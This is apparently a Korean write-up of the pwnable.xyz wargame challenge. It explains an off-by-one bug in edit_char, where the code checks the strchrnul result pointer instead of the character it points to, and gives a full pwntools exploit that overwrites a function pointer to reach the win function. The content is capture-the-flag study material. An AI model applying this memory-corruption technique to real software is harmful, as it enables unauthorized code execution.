이 바이너리는 아래와 같은 크기 0x90의 구조체를 사용한다.
switch ( read_int32() )
{ case 0uLL: return 0; case 1uLL: cur->calc(); break; case 2uLL: save_game(); break; case 3uLL: delete_save(); break; case 4uLL: printf("Save name: %s\n", cur); break; case 5uLL: edit_char(); break; default: puts("Invalid"); break; } |
1번 메뉴에서만 고정된 함수 대신 구조체의 함수 포인터를 사용한다. 아마 이 값을 바꿔야 하는 게 목적일 듯 하다.
한편 존재 이유가 의심스러운 edit_char
라는 함수가 있다.
void __fastcall edit_char()
{ char old_ch; // [rsp+6h] [rbp-Ah] char new_ch; // [rsp+7h] [rbp-9h] char *ptr; // [rsp+8h] [rbp-8h] puts("Edit a character from your name."); printf("Char to replace: "); old_ch = getchar(); getchar(); printf("New char: "); new_ch = getchar(); getchar(); if ( old_ch && new_ch ) { ptr = strchrnul(cur->name, old_ch); if ( ptr ) *ptr = new_ch; else puts("Character not found."); } } |
strchrnul
함수는 문자를 찾지 못할 경우 문자열의 끝인 NULL의 위치를 반환한다고 한다. 그런데 if문 안에 있는 조건식은 *ptr
이 아니라 ptr
이다. 따라서 어떤 입력이 주어지던 간에 상관 없이 항상 ptr
가 가리키는 문자를 바꿀 수 있게 된다. ptr
이 NULL이라면 문자열의 길이를 1 늘릴 수 있다는 뜻이다.
기존의 cur->calc
은 0x400D6B 로 항상 고정이므로 앞의 2바이트를 패치해서 win
함수의 주소 0x400CF3 으로 바꿔주면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import *
import argparse def ChangeChar(before:bytes, after:bytes) : p.writeafter(b'> ', b'5') p.writelineafter(b': ', before) p.writelineafter(b': ', after) def exploit() : p.writeafter(b': ', b'A'*0x7F) for i in range(5) : ChangeChar(b'F', b'B') ChangeChar(b'\x6B', b'\xF3') ChangeChar(b'\x0D', b'\x0C') p.writeafter(b'> ', b'1') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = remote('svc.pwnable.xyz', 30015) else : p = process('./challenge') exploit() |
Last update: 2/9/2021
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / fclose (0) | 2020.01.18 |
---|---|
pwnable.xyz / message (0) | 2020.01.17 |
pwnable.xyz / iape (0) | 2020.01.16 |
pwnable.xyz / strcat (0) | 2020.01.16 |
pwnable.xyz / J-U-M-P (0) | 2020.01.15 |